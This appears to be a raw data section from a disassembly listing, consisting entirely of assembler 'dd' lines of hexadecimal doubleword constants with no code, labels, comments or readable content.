dd 0ACF10DC1h, 4C2F4B90h, 0D9073D23h, 0EB204ADAh, 0E6E9164h
dd 31FAD1F6h, 7C90A4B3h, 11E81F95h, 0EBE7803Eh, 13367A5Dh
dd 0B8B7708h, 4693900h, 0F809F7A7h, 5115ED2Bh, 186BD914h
dd 0CBCE005Fh, 0DCB84D1Fh, 3A02E1E8h, 0F932EF47h, 0AF946835h
dd 0B66031CEh, 646D8F72h, 540017F8h, 2F7F7D33h, 0C1718D66h
dd 85977659h, 3CC0EE37h, 2C9617CCh, 3A465Eh, 0B0F3D0DAh
dd 0E932138Bh, 5F4536Ah, 0F41BD480h, 4680750Ch, 94AD122Fh
dd 5BE4F0DAh, 570D1712h, 38622440h, 0B61CB974h, 89033948h
dd 0F53E483Ah, 449C88Ah, 40604113h, 304024E4h, 86D44306h
dd 0DF302A88h, 710922C8h, 21D92F41h, 8997FBB8h, 0C4474025h
dd 0FD0A4684h, 616D8F0Ch, 2005D7ABh, 0E4C09921h, 0B92571B3h
dd 829465AFh, 8DB34705h
dd 0C6E522h, 7F4AAD2Dh, 0A710828Ah, 0DA404062h, 4C1C30Ah
dd 3BD0B4D5h, 0F2001CB2h, 0D79525D9h, 378CB53h, 232C5A4Eh
dd 310232BAh, 8D472538h, 0AEB478C6h, 5E9C96ECh, 1D002A46h
dd 0F8029EFBh, 489EB632h, 0FD57F960h, 6410F149h, 6E2F5FFBh
dd 0E4406889h, 0E274F472h, 40880071h, 64DF7825h, 0AA1DF1C0h
dd 5840738Fh, 0C9CB3C2h, 76600062h, 1D394001h, 46777D7Ch
dd 81084095h, 12258C38h, 0B1C010A3h, 702856B2h, 0E6CBA6B0h
dd 0B8A4E803h, 4841D59Eh, 0C90B6868h, 0EC71B688h, 3960F47Bh
dd 0DB2D199Ah, 1D681F88h, 0A008E149h, 0CF714231h, 0C2202117h
dd 6732CBD0h, 606F4430h, 2DB6BC6h, 0D755F9B0h, 785011BFh
dd 74CC7455h, 583F6324h, 116CB25Dh, 80049F3Ch, 11514A69h
dd 0AB005584h, 4B218207h, 0D528A18h, 567519A2h, 1AD02019h
dd 0A1608901h, 51224011h, 53551880h, 0A0219813h, 3E891E3Ah
dd 18A3EA1h, 648615A5h, 4BF0121Ch, 831A1D57h, 87040051h
dd 981DA521h, 21C590Ch, 10288Ch, 7A85D83h, 1FAE589Bh, 0AD673418h
dd 0E46E5640h, 535A0078h, 0BB218F18h, 13009907h, 3D2E790Ah
dd 5034561Ch, 63140422h, 3A18006h, 244007E0h, 711F6003h
dd 1E538356h, 33A15879h, 4AE31271h, 21621874h, 0A34884E0h
dd 0DB8D1A08h, 5075E152h, 38465DC5h, 7A88C080h, 8D03A265h
dd 1AE5220h, 87511C0Dh, 0BB330F3Fh, 6D1B8DE8h, 22F4387Ch
dd 40126517h, 66A00071h, 767927A9h, 34491C00h, 217C5025h
dd 7A21F72h, 0E14E5977h, 6649D07Fh, 506478C0h, 216313ADh
dd 88904075h, 589C3100h, 22623DA0h, 0E770085h, 214D558Dh
dd 128E787Ch, 1F1D4C76h, 923C2B0Ch, 85B40414h, 46234243h
dd 8F54486Fh, 0A4D12DF1h, 5F2230C4h, 18C4AC9h, 86C29460h
dd 0D019A4B9h, 71616B0Bh, 1774088Ch, 48B214AEh, 9413104Bh
dd 27D1FE25h, 68A9A560h, 95434650h, 5821F0C3h, 0B4AD2D65h
dd 10A5E960h, 0C4C9E6C3h, 0AEB97759h, 4720DC31h, 0AC425816h
dd 6061AC5Dh, 16F96AFh, 7C40C03Dh, 4A82B413h, 7A984553h
dd 0E883217h, 0DCF22C89h, 0D1E460CDh, 8C30E828h, 0E586C359h
dd 94353729h, 161698C2h, 59B2D546h, 0A4CD231Ch, 210EA851h
dd 0C305291h, 2B806E1Ah, 905C9AD3h, 1BC822CCh, 0B9F20D12h
dd 8C0970BDh, 784859E6h, 0F930A9h, 4BF986BFh, 0D6D0812Fh
dd 68123FC9h, 8F179CE2h, 774088E1h, 1286060h, 95FA2F1h
dd 4C5986B9h, 0D444944Bh, 0E97940h, 406EACAFh, 0B32FB15Eh
dd 0A9D80260h, 0AACAF61h, 0D780249Eh, 0AD738971h, 98505544h
dd 0BF41E9E0h, 86972880h, 170AFB47h, 0B006B6B9h, 40B128BCh
dd 2E09F1FEh, 1A8BC6AFh, 0CC443304h, 0DC2A5922h, 0E90F4550h
dd 1DC9B100h, 1088294Bh, 48868A1Eh, 4A04149h, 0E28B471Ah
dd 20CA459h, 12195132h, 1C2AEE0Dh, 82892C11h, 1DB44830h
dd 5C416141h, 9700134Dh, 1C321785h, 300A4054h, 39486887h
dd 7B9C943Ch, 158407FFh, 0FBC1D8A8h, 661BDED5h, 2F9DA09Ch
dd 8CA097C0h, 0DA48525Fh, 6BCD09Ch, 651B01F5h, 0F26112E0h
dd 0D5340072h, 53C21377h, 39D61519h, 2CE21A48h, 25817E28h
dd 33141FE2h, 155CC050h, 0C13BD8D7h, 72C18821h, 33F0Bh
dd 278633DBh, 40482A18h, 95883D9Eh, 81335BFBh, 0E7C17960h
dd 4423390Ch, 0C512Bh, 1232FC56h, 5361E3AEh, 8164B338h
dd 0C748BE88h, 461B60Ah, 0BC60AC09h, 0A19FF9DFh, 4780E4BFh
dd 0D938A2F0h, 2CBD441h, 2E9CE113h, 4810C5D0h, 1960AEB3h
dd 48013D71h, 10043A48h, 641C29F5h, 17C7D33h, 0D4F35BCCh
dd 0F4FB412Dh, 10060826h, 1F3869ADh, 2B320108h, 52CBBD8Ah
dd 67FCEC17h, 4CAEA87Fh, 44B8B060h, 0A4262877h, 40F844E0h
dd 0C84880F5h, 0AC6F7F6h, 64F0C8ABh, 10F4F996h, 0D4A948FBh
dd 7C044480h, 0B73032FFh, 0BE3C4880h, 9A427A9h, 77BFD898h
dd 2D2C523Ah, 0FDA8209Bh, 0CF0CC1BCh, 921E1B21h, 0F500D0D9h
dd 3F49C9F1h, 178449D8h, 29016F7Ch, 0D22A8748h, 94157184h
dd 1004F003h, 928F71C0h, 4545ECFh, 0C0C575ECh, 0DA78F42Bh
dd 31F9AE03h, 0C88746B3h, 0FB3ECEBBh, 9C04091h, 85BD0A78h
dd 9046D720h, 4410A408h, 0B30052DFh, 2FC7BF66h, 12344FAFh
dd 0D1D8D443h, 6FF6EAA8h, 10F1F009h, 0A8687374h, 0B04377BCh
dd 6082172Ch, 3C7CF2ABh, 0E5AE009Eh, 0D0B3B2F6h, 0C04FF66Fh
dd 6DA3C0B0h, 2C90CB3Fh, 0BED944h, 6F7D28F0h, 0A0DF16F1h
dd 9A4CE401h, 259D3291h, 17C07980h, 0F0D75CF1h, 2FDCC81Dh
dd 0DAF20C0Bh, 1C6E49C0h, 59DAA91Ah, 0E20C882Fh, 0F1026011h
dd 0EBE9A010h, 6B0C4172h, 9217D44Ch, 0B02882A8h, 69F18C60h
dd 6402212Bh, 84604F3Dh, 0CA0C98Fh, 52EC09ADh, 562492BFh
dd 4E73411Ch, 3F21FC29h, 0B61FB8EEh, 36555A77h, 54A8B14h
dd 30043138h, 0C52730F1h, 0FEB888D3h, 0FAF2488h, 86FB53F5h
dd 200C89A0h, 0BC0BE18Ah, 0D22A9969h, 7676DCh, 0ECA53612h
dd 238F797Bh, 1C9A4072h, 68426BA2h, 469D2817h, 45E81A90h
dd 1767250Ah, 0AD3E2CD9h, 1698E420h, 8414AE8h, 72807C68h
dd 440115BCh, 0F08012FCh, 0E41C327Eh, 97D2B18h, 2CB45A6Ch
dd 8A36C40h, 332E98A4h, 0DB45F065h, 50CF0C44h, 6318F322h
dd 7C5C8169h, 8C6ABC88h, 28F34F00h, 0B1A682ACh, 9E411393h
dd 919C9022h, 1E0F32A5h, 60481003h, 1760C09Ch, 0B4BC0521h
dd 20D463F0h, 0C10EEE80h, 950BC803h, 0D98DFF9Ch, 443E8E32h
dd 0EAAE67BCh, 0E6682842h, 124742Eh, 0D00F469Ch, 78CE0F33h
dd 4278F8F1h, 0AF10E028h, 0CC5509F0h, 10544937h, 0D0383943h
dd 0E247B477h, 8BA8001Fh, 0C44CFFA9h, 644E0591h, 0A0E82C85h
dd 7C8C07B8h, 2D9D2A9Ch, 5FAC07C4h, 0A087C0F3h, 468B13CAh
dd 2DB9FF12h, 97A694C8h, 0AC127C38h, 9BAA1F0Eh, 10E3C037h
dd 86DFF36h, 31900DF5h, 0CFACED2Dh, 3760F88Eh, 0EA86F6FEh
dd 78EC9409h, 74187A9Eh, 6E30001Dh, 0C49D655Ah, 2C1DA946h
dd 48003ACCh, 4596BD18h, 0B323257Ch, 0FB0DBC68h, 720FB9DEh
dd 381918D9h, 0DB3D0019h, 776AA299h, 2D0143ECh, 0A0C66894h
dd 0CB2EA9E2h, 0C0068840h, 8A857843h, 6CF2401Fh, 0BECB641Eh
dd 361C2228h, 0B92303C0h, 0FB0539B6h, 7DB1FD98h, 32A2CCFCh
dd 0DAD96422h, 98AB0004h, 0D3387B51h, 1D00926Ch, 0E0BFDD2Ch
dd 59D88F66h, 5600EC23h, 69599FC8h, 0AC13A177h, 0A40549FEh
dd 0A4C9E70Dh, 808456DAh, 0DB2B55FAh, 0B001670h, 0B4CABD57h
dd 0E0216Ah, 8E711986h, 5A70D613h, 3E0C2618h, 3F2FE39h
dd 9C9960F6h, 0DD9069E0h, 0B9177E28h, 988B521Fh, 5F03A3DFh
dd 0C10BC563h, 407EDA74h, 0D423C664h, 0D0A02738h, 0EC3D6F70h
dd 0BAFD8F16h, 6BAF800Ch, 5A124DFh, 0D637823h, 88B4B8F0h
dd 13126345h, 0ED0812ADh, 21DB880h, 0ABF6797Fh, 90775C91h
dd 0F69FD060h, 425E2FE5h, 265C80B0h, 80E40D5Ch, 648A9E8Ch
dd 0B4A20093h, 0FC58DA72h, 892F601Eh, 0E4B4E5B2h, 0BDD8603Ah
dd 75CF0456h, 0C82BC10Fh, 37055E90h, 7B7853A3h, 2B742C82h
dd 50178078h, 0C8D29E7h, 23282B2Bh, 61F10036h, 8323A889h
dd 1CBE3A7Bh, 67DD1600h, 1F7BFA3Fh, 62F30D62h, 534DDA02h
dd 0E0822F15h, 80C1BA5Ch, 0C97C8B23h, 0DA00A090h, 0FEBD49E6h
dd 2348679h, 0B7DD1036h, 4CE4CE72h, 0C0B46D97h, 0D9C79F4Fh
dd 0E755B600h
dd 0F0951D8Eh, 0B0FA84h, 9BA0B303h, 13412E7Dh, 0CF0CDA00h
dd 2A896A06h, 28327448h, 358DCF3h, 12757394h, 0C4E38AF9h
dd 46971917h, 17323CD0h, 0F0820347h, 33BF232Fh, 0ED5B192Fh
dd 0CB19C0B8h, 5202F380h, 0DAE09510h, 7287CA7h, 0D1BE0664h
dd 0F932C9CCh, 0B57C6766h, 78B238B6h, 0A871A51Dh, 0ED186B59h
dd 47975400h, 3757B553h, 0B80463E6h, 29007B2Ah, 0B3EBDCF1h
dd 0FD6AB3Bh, 0BF62E3BEh, 0A4219E64h, 0B10744D8h, 5AD2DD70h
dd 9B7F273Fh, 34D9B001h, 3124C200h, 1160B800h, 895BFFD0h
dd 6F7E008Bh, 93D21041h, 951D17F4h, 0B4262486h, 81F6F582h
dd 4A407A40h, 0D0A276h, 5EB60DFDh, 331204Eh, 5BF71B64h
dd 4084D8BDh, 7060E379h, 3FC84CE5h, 0F872D300h, 0B98990A9h
dd 0BEFFDB00h, 165B6C41h, 0F9640266h, 2B68A080h, 19004052h
dd 51AA050Ah, 528906h, 0B33F28FBh, 707EDB94h, 0D1955907h
dd 3D9308Ah, 88159EE7h, 3CAF60E0h, 7504B2C8h, 80079FCDh
dd 79CC2624h, 6AE27200h, 8D09C5A3h, 120DF074h, 0B863EDCFh
dd 290C811Ch, 0F7409C94h, 726F3222h, 0A3EA0001h, 0F3529F89h
dd 4B03C70Dh, 0A9FF953Dh, 1498A627h, 90A0188Dh, 2B2CCC5Fh
dd 4C7C2CBFh, 0E747977h, 7B0C94D5h, 0BB8964C0h, 8E4BD975h
dd 0CDB8D800h, 0C3DAEh, 86976A42h, 0D2BB91B2h, 4989B28h
dd 1156DC37h, 45B280FBh, 9A67E7h, 25D9AE4Eh, 4AE8A83Fh
dd 1F289100h, 83A10B05h, 2B3E0092h, 22BB1011h, 25F0989Ah
dd 7D1F3403h, 0EB1D14D7h, 0C6283A92h, 40314098h, 0C06D2B9Ah
dd 0A0EF7031h, 0C07CB8BAh, 81713B61h, 52F89ED2h, 8C295400h
dd 0F28B6185h, 999D003Ch, 402FF8D6h, 0AC00C011h, 0A642205Eh
dd 7AA2E8h, 0F9D9943Bh, 35113423h, 0B5502D73h, 51C16144h
dd 0A918A665h, 38C73181h, 802A5CB8h, 98951380h, 7C9288CAh
dd 3054303Ch, 7C129D18h, 0F81CB40h, 909ED8A8h, 0C3F04980h
dd 8D05ECEBh, 221858BBh, 96639421h, 5EBA309Dh, 0C0A40C14h
dd 0A80D3810h, 708C4365h, 2CFC2F3h, 0CC92F3DEh, 0B4030437h
dd 0E1D340FCh, 0B8476471h, 5C3353C1h, 0DB349440h, 0D2A93C5Ah
dd 8040FCCCh, 90E30171h, 9E5C98A0h, 0FF299047h, 48017484h
dd 0B4D18E27h, 0BC829D20h, 0CF00D779h, 8B25AC8Ch, 0EC644Bh
dd 27AA8EF2h, 331129C1h, 4C31E300h, 13BA3A8Ah, 34E8003Ch
dd 772E7151h, 24072772h, 91BBE984h, 0A7C11990h, 0ED44006Bh
dd 0B4C5802Ah, 8B01A9B5h, 795C5D4Eh, 0BE0B68Fh, 48F50704h
dd 0E0039588h, 0C1C4657h, 8902DD73h, 2220F3F0h, 0AC8CA0F2h
dd 0DBE64Eh, 25515583h, 3377C02Dh, 51F7232Eh, 0F0854001h
dd 89D07275h, 2EFF0AA4h, 16A4442Ch, 0A9BE005Fh, 0EBE28B13h
dd 2AE91900h, 391B3643h, 4FAE00DCh, 0EEE0CE41h, 2C002F81h
dd 25DD84BFh, 0E5F8CFDh, 69522A9Eh, 0D5C05D40h, 0A800B805h
dd 0A4C600Bh, 7AC7EEh, 3D49D662h, 2B2E10F9h, 3216930Eh
dd 60C64FF2h, 4E3A0DA8h, 0BAA00A9h, 0E841D3C1h, 0B5B88243h
dd 0E2164906h, 1C10A0h, 9E06FD80h, 0E3F30F5Ah, 11AD8B00h
dd 64B082F0h, 0A20B0062h, 267795BFh, 0CE015527h, 1E2E11A9h
dd 62E8D539h, 0A3CB0029h, 0F2F86C05h, 4E059117h, 60AB8011h
dd 1E988800h, 156F9246h, 849E9340h, 74A91C0Eh, 0C381C860h
dd 6D00B72Ah, 0DED50365h, 4A185FDh, 6B72A729h, 39CFD0E5h
dd 0B71D9470h, 78C612C0h, 5C6046D4h, 42003684h, 7B1860C4h
dd 0ED00F617h, 0A7AF0DEAh, 0EC4FB4h, 0E98BF0EBh, 0C1281A2Dh
dd 61544100h, 15180A69h, 4B5E00C4h, 0F6C9278h, 0FDF0E431h
dd 253F2301h, 2D9AB568h, 72D48C20h, 0C0EE00CFh, 0EDA18FAh
dd 2804151Dh, 0CA97EC66h, 3AE83C90h, 0DAA730B2h, 562B5811h
dd 0DF360C18h, 92610B31h, 3F5C1210h, 0F12C0F76h, 0C55EA701h
dd 2908F770h, 9A82E7Eh, 4000F509h, 4A1B5E63h, 6230820Ch
dd 6828F0h, 0CF1CB46Fh, 0D86BA324h, 8CD4D100h, 0FD0949B6h
dd 61E40E63h, 81E0E7D3h, 1AF6754Bh, 8068123Ch, 0A29854D7h
dd 0E47CCF46h, 0DB0B07C3h, 431A03C9h, 0DFB02B4h, 0EC8040B5h
dd 0AF31D090h, 0B959900h, 59C8E8FBh, 80A038B7h, 0C6EA1E00h
dd 2ECD5D5Bh, 0D50E9F0Fh, 6E552078h, 0EE24283Fh, 5A6D003Dh
dd 0F02B5EABh, 0E490EB80h, 0BD0D2200h, 4C30A94Ah, 0DBAF0078h
dd 99DF2792h, 0EA01A59Dh, 48BBF1D2h, 6DFD9367h, 0E85ADE4h
dd 99080EB8h, 8D2E3AC0h, 470F76B9h, 8FFEB2FDh, 0BBD204Ah
dd 92152Fh, 8571B3F9h, 0C4E96A98h, 10CBED2Ch, 367C3D00h
dd 1197E41h, 305E2191h, 4051766Ch, 6BD2C4CCh, 0EA53B801h
dd 94D4F7F1h, 4D34E0h, 12BE8FC2h, 9CB6ABDCh, 0A224171Eh
dd 6C4400FEh, 0F1F44290h, 6D2F00EEh, 541BADE7h, 74004EA0h
dd 87CD711Ah, 1E6A14Bh, 99610997h, 0F88A73E1h, 2E7A3BC9h
dd 0B6438600h, 0B075E5B7h, 0BA0D03F0h, 153C16A2h, 5394100h
dd 4FEDA5E1h, 1A80307Ch, 0ACF50748h, 0A30096E8h, 0C2FA8260h
dd 28DEC02Fh, 9B0AB0h, 75704871h, 97ACCDFDh, 0CF00A575h
dd 5F4AAAF8h, 89B09h, 0F57E8A93h, 33A21947h, 0C22B9E02h
dd 0E011F458h, 52C176h, 0FA5B99E2h, 4B367A50h, 94844A01h
dd 79402708h, 71B26ECh, 3B022053h, 744D6354h, 22A54803h
dd 255034Ch, 382A8D11h, 0DE60C147h, 0EE005791h, 0FF7F114Ah
dd 7AD5E2B1h, 2FEF078Dh, 733C252h, 831580E4h, 0D32E71DEh
dd 88004442h, 93EEB9C4h, 0BE3F5CC2h, 6035939h, 0A56B665Dh
dd 0E1087098h, 8DA9C401h, 460A2913h, 166E21FCh, 419DD517h
dd 0BAE3668Ch, 0B4BC208Eh, 948659h, 87C1EB6Dh, 61EAA2h
dd 0AFA71852h, 5BEDC0D5h, 8101FAF4h, 2816CCD1h, 78344590h
dd 0E1C32664h, 4E843EC0h, 8069333Eh, 13EB5378h, 0A3EFB704h
dd 11C0B81Ah, 27289Bh, 0BC922F79h, 0F570A595h, 43018AFAh
dd 8B04E246h, 96DC8D62h, 2DF20215h, 1A796BCDh, 0C0DEF1E1h
dd 0A49874C1h, 0D6120424h, 0DCA8D803h, 6C00099h, 3C611323h
dd 48003578h, 79FB4B0Dh, 2C7354h, 85490C71h, 2D3426DFh
dd 7C140400h, 0B55B436Ch, 0DD10029h, 52166D73h, 0DF788CBEh
dd 0A8A074B0h, 0A676F536h, 0DBFA9C00h, 31B66BD3h, 78B7009Bh
dd 0B365C430h, 7F5808C2h, 853DDFh, 1171956Bh, 1E5316Ah
dd 0BA7EE155h, 0FC8C24E2h, 7900580Bh, 390A16EAh, 0C4F160h
dd 0C72C65CDh, 7D1A5523h, 671F667Dh, 2DC029FBh, 0CF528769h
dd 38E500DBh, 0DE560DA0h, 0CA1678B6h, 0CC4359D2h, 0E8C10A20h
dd 0E344E60h, 0C912239Fh, 3C0E78CBh, 97182A60h, 7D244644h
dd 1400BCF9h, 0F3BD804Dh, 0FEC400B6h, 0A477BA3Fh, 0C20B29D4h
dd 158A70Ah, 0A5E9F314h, 0AC74BEE5h, 39E203D4h, 0DAED3679h
dd 7FA80E26h, 4FB5FE01h, 4E20E053h, 8ED70049h, 0E4ED5A6Ah
dd 0D100D450h, 0FB476B89h, 0A0EE56E2h, 7FD8608h, 55DDEB27h
dd 0B153016Fh, 0AB4C2048h, 5424771Ch, 4792167Bh, 2E52B85Fh
dd 87A99880h, 54481D24h, 3511D6Fh, 2F8006B8h, 0B0AD2100h
dd 67C73285h, 3F3C00ECh, 2FDF0766h, 0A7009C13h, 4E9D035Bh
dd 711CFAh, 0E95967DCh, 0F044623Ch, 70802637h, 19D3CF87h
dd 4887A247h, 31F04198h, 0F72154C3h, 50B3F967h, 147E4490h
dd 57F04F71h, 0AE4E2400h, 973E85C7h, 3CD60567h, 5C61C0Dh
dd 6DC468h, 0A014162Ch, 0F400B4B6h, 919ED063h, 0CC1031h
dd 0F8F7C23Bh, 83E84CC1h
dd 68469201h, 0FCDCD012h, 78582Dh, 9ACEA7F4h, 2FA66F02h
dd 0A59C2401h, 1B8506C5h, 12882980h, 0E52241EAh, 4C6DE1Fh
dd 39C02B05h, 21959C40h, 62A18A9Ch, 7E1A9988h, 0F05955C1h
dd 7700E53Eh, 0A3C6853Fh, 3CCF2F1Eh, 2B0FF98Fh, 0CB87079Ah
dd 62C16154h, 4408C9Eh, 0E149B4h, 9A24A95Bh, 6234457Fh
dd 0B4189261h, 88434248h, 0E9CBF0h, 661CDCE0h, 58BBB8Dh
dd 288C5002h, 816C70B3h, 0EB97F18Ch, 84302990h, 54485EB8h
dd 24E5A242h, 0A0414B64h, 3F02F088h, 43EC7Eh, 838BA70h
dd 3D375726h, 0A2B38A00h, 357DB082h, 0C0640B62h, 0E400183Eh
dd 3F716532h, 5022F500h, 0B40112C2h, 3B390209h, 6590FB8h
dd 42417CE8h, 1794B65Ch, 7C4717CEh, 2198DE4Eh, 361014h
dd 35BEBF0Bh, 150589Ah, 9CA20FF0h, 0F09F22D6h, 591F80DCh
dd 0C000948Fh, 0A02E27B8h, 0C4EC48B5h, 8E80853Fh, 3F2C02BBh
dd 9526A54Dh, 9F1D6F81h, 71F41380h, 513562h, 3CD25D89h
dd 3057DEA3h, 67562E1Ch, 55C7ED00h, 0F29D4Ah, 6C1C0FF5h
dd 0E688FA73h, 52D48550h, 75287F02h, 60F02418h, 6C077ABh
dd 7ECF601Dh, 0C2051C45h, 0E989E203h, 9FA8C8h, 0ED850987h
dd 0A2D844C9h, 78027E01h, 0F0B8D95Ch, 1FAB430h, 0D3677208h
dd 2CE13261h, 805B3D48h, 5769525Ah, 41DE60h, 6B14280Dh
dd 0F1937C65h, 6FBCFD08h, 8A9500FEh, 88F40D3Ah, 725ECA14h
dd 0D39600B8h, 9E3B4A34h, 0E6A8C15Dh, 0E40EA029h, 0C6006AF2h
dd 33FE38FFh, 3FDD6EDBh, 71770688h, 0AC54001Eh, 2A93CA32h
dd 757FB891h, 30B34D01h, 4F669F05h, 206428F9h, 0C8C201EFh
dd 0B55802B1h, 0AA984084h, 0DA794F7Eh, 0CB8B1200h, 34DDE3D5h
dd 0DEEC01C1h, 0F32482D2h, 7A51EC96h, 0ADA08C5Ah, 0F20B00BCh
dd 0C066CB8Eh, 0C9EE1ED5h, 6B23C100h, 0A33790D0h, 365F0F57h
dd 0CA4011ECh, 0C689D5FEh, 0D0B58F0Eh, 39F0A0FFh, 7FBE84E8h
dd 4284A052h, 907407D8h, 0A2DB13h, 0C1F48DB2h, 676F3Eh
dd 68D42D8Eh, 0B59A33h, 921C7E06h, 2746509Dh, 48281400h
dd 7C452C3Ch, 24D6027Bh, 8064CEDDh, 803ECC0h, 8BA8BF00h
dd 41929E8Fh, 37E5B8BEh, 0E0B89C06h, 0ABCC3697h, 506538h
dd 27A774CFh, 0A45BECh, 761BF7D9h, 2C17D85Eh, 47F81100h
dd 0FB1DEED6h, 0E4A0906Dh, 23100099h, 5BF14B76h, 0F6E8043Ah
dd 9121E760h, 47A063h, 7523C24Eh, 0F8943022h, 390FC60Ah
dd 8A00CF52h, 4734FA6Eh, 0D1CB0132h, 0C587975Ah, 147C34EBh
dd 9CDC6F00h, 599326D4h, 5447001Ch, 3A0D1D06h, 510E4B23h
dd 60B7686Eh, 0AEA9B1F4h, 3B68B059h, 0A63D0EF5h, 0E9F24201h
dd 0E06E25EEh, 0C98CE55h, 0C3E46700h, 32E0D6CFh, 0BCAD10F8h
dd 43D79B5h, 0B0020074h, 9AB80CA8h, 5D50341h, 0F9091556h
dd 18C8D98h, 0FFEE7D12h, 0B5C97400h, 0A82332EDh, 34D621E4h
dd 500FFEh, 69E1C5BCh, 0B40039DFh, 34E45A61h, 33691ACh
dd 25AB37D2h, 0ADA8C0C5h, 454CDE99h, 0EA4000BCh, 0AC01F6E1h
dd 0C0BF78A4h, 0A2BB19C9h, 0F8074A98h, 1E67E4B7h, 348417A0h
dd 0DD60006Dh, 9124D593h, 57005A5Fh, 0E34974C4h, 0B816802Ah
dd 9131220h, 0FA740045h, 0ACB4D63Eh, 0E8760807h, 0DB13E93Fh
dd 8E3AE838h, 0A706124Ah, 0CC8C073h, 0BF0082BBh, 45A3BD5Eh
dd 2B98D4Bh, 0FEE607F7h, 0A868CC85h, 603D478Bh, 0A48400E0h
dd 9B83F972h, 0EC6D0122h, 0D12B6BBAh, 584BE7BBh, 0C30B3800h
dd 0E84037h, 627AD9ACh, 517CF482h, 0D2AB9D01h, 32DE248Eh
dd 0F8AC61BFh, 0F53700B9h, 0F096A0F3h, 69163DE0h, 6C433930h
dd 0C765E8E4h, 59503190h, 904D00AFh, 0A6BFCE25h, 0BD041916h
dd 0EF05DD14h, 7C474881h, 781F7CCh, 82A6DA25h, 43EA302Fh
dd 8002F253h, 0D5EC6378h, 2CC885AFh, 74BC880Ah, 38A58900h
dd 585F94h, 10D0C6C8h, 565A6870h, 5DACCA00h, 84BE0C9Eh
dd 863703E8h, 8B19AFDEh, 0C8EAED98h, 0EDB39h, 0BBE23047h
dd 5BE7291h, 5D29F3FAh, 71589016h, 0AB2731CDh, 83C883C4h
dd 25B21390h, 889D0054h, 0E013DFF2h, 9589E807h, 0F021F3A2h
dd 0CFC76858h, 20B29350h, 732C07EEh, 20DBFC2Bh, 9F4E91E3h
dd 9C830500h, 1EF4265h, 371B243Ch, 0B9B40630h, 5F3C8072h
dd 20DB812Eh, 53485773h, 82EC20h, 64243E7Fh, 79BDB698h
dd 4C6F2C00h, 3C3281C5h, 9BFF037Eh, 0AEDFB274h, 0BC607FFAh
dd 249007BFh, 10A69901h, 3C117ED9h, 97395080h, 8DB3B666h
dd 85778003h, 9041EB19h, 741FF822h, 9979000Bh, 3915744Ah
dd 2059180h, 64D7A7A9h, 251F5180h, 0F1B500CDh, 0BD8E33Ah
dd 20075BEh, 1BFF27C9h, 79E81661h, 0DAF00377h, 0B0E768D6h
dd 8EE55688h, 8920AA00h, 0B10699C1h, 4230E99Dh, 0B524003Fh
dd 0EDCD6B63h, 0B4B0870Fh, 10BF9400h, 9B701A28h, 139C012Dh
dd 97E3DBECh, 842CB6h, 0E49EAF82h, 0E7D5C8h, 76A7783Ch
dd 0AEFCD08Dh, 0A598F500h, 5852B370h, 20E079h, 0D7CF3EA0h
dd 191D5766h, 12697700h, 0C388B24Eh, 0E3EB2009h, 62594A1Fh
dd 0BEF11D05h, 70B460D0h, 95E8A8DFh, 74A40191h, 0EE5328C1h
dd 0EA7F20A8h, 0C50C040Bh, 14E820B6h, 90A40DB5h, 0F8FA00ECh
dd 0CA347B4Fh, 3E006A0Bh, 962CD683h, 0A60C55h, 62EF4089h
dd 8D3D30DFh, 0D62E7218h, 1E00478h, 0A56ACB58h, 20F2A36Eh
dd 2F0430E1h, 0B2863334h, 0E267D480h, 6D0E24B4h, 29EB078Ch
dd 0B02E34A7h, 1C00CA98h, 0A86FDD9Eh, 1799B180h, 4005588Fh
dd 0ACFED0C8h, 396003F7h, 8D4AF431h, 0D0F664BCh, 5A7A47BAh
dd 8840ED45h, 0CA77BCBh, 668600E5h, 31B4ACEBh, 0E13EB6FFh
dd 573D0C0Bh, 0F75116h, 66F67B65h, 0B9784933h, 0B4EF6C00h
dd 1E8607F1h, 0CF081EADh, 0EA4F80D1h, 0CC05F5A7h, 76E4CA0Eh
dd 795E6091h, 2F3C5FFh, 0E8DEEE6Bh, 882B572h, 8080D7D9h
dd 9B6F0FB1h, 52603374h, 0CEBF1178h, 4FDBE84Bh, 70004B28h
dd 139B58A0h, 4F1DCF47h, 33066F11h, 396A43h, 0DA45CE8Fh
dd 0F7185598h, 0F619C407h, 1490095Ah, 0FDF3F83h, 2F870767h
dd 54417CA3h, 0E1C524C1h, 0EF304166h, 1E9DF051h, 112B3600h
dd 0C753A034h, 4121DC85h, 1942CF70h, 0E42D87h, 43246FA5h
dd 4B06B654h, 0D6F022F2h, 0DC019704h, 0F08D6C34h, 0E1000811h
dd 88CAFFA2h, 58192657h, 0E3009CF5h, 943B7F84h, 0A6028087h
dd 0DC537ECCh, 0C928609Bh, 5A84003Dh, 2E9E2847h, 0C498ACBBh
dd 5BED1600h, 4A90DFE9h, 13EB98A2h, 78442Dh, 0AC3E553Dh
dd 8E00A033h, 6F0499CFh, 1E4BD94Dh, 0CC17AE6Ah, 0F230FF76h
dd 0D85C8505h, 0B9C7CBC0h, 402A7E42h, 0DDC189h, 699BE288h
dd 0DF7F0898h, 787C9A00h, 0FE4AE934h, 0C2C30F17h, 0B7A0E63Ch
dd 0F622EE8h, 76577807h, 99B05E5Fh, 0B3B8FCh, 6A805897h
dd 0F282099Ah, 8E63FF27h, 0E736C0A8h, 0ECB7B4h, 821F573Eh
dd 8110457Dh, 8E9B7B01h, 1270C5B8h, 107E3D8h, 0F57739C0h
dd 7C99EDC4h, 0F409B9BCh, 0F4049FF2h, 9AB2B418h, 4EC2F010h
dd 0E48004E2h, 0EF8B0F6Bh, 0B32841E9h, 94387458h, 28FC8611h
dd 12214D8h, 113C42D6h, 0CC21FE1Dh, 90D43108h, 0F8058420h
dd 116A915Eh, 8411E28Ch, 0B4A6116Bh, 116ED411h, 8821EE1Fh
dd 90B62108h, 0FA1A8408h, 393C6C4Ah, 7C508C22h, 0E5440514h
dd 1F6A44D0h, 84108944h, 42F38F22h, 8A5F11B4h, 0CD084421h
dd 8AB890F0h, 423D643Ch
dd 75FE1C11h, 870114A0h, 1910AC89h, 58019023h, 75C76A59h
dd 0E47C1BD0h, 0F38004Ah, 0CB3B2215h, 0D6483A00h, 8EAC0A8Dh
dd 0E2D10045h, 0B90D8AC2h, 0BA005CA5h, 69FAAA89h, 123909CCh
dd 0C04041E3h, 0ACFD5A3Ch, 80B7063Fh, 0E4AFC7A9h, 30F8F8Ch
dd 0FEDCCE39h, 17C3788Bh, 23F0C8C0h, 333F6C01h, 5B9770E9h
dd 7E5C64h, 0D06312B1h, 94AADF48h, 0B5599105h, 0CE48B85h
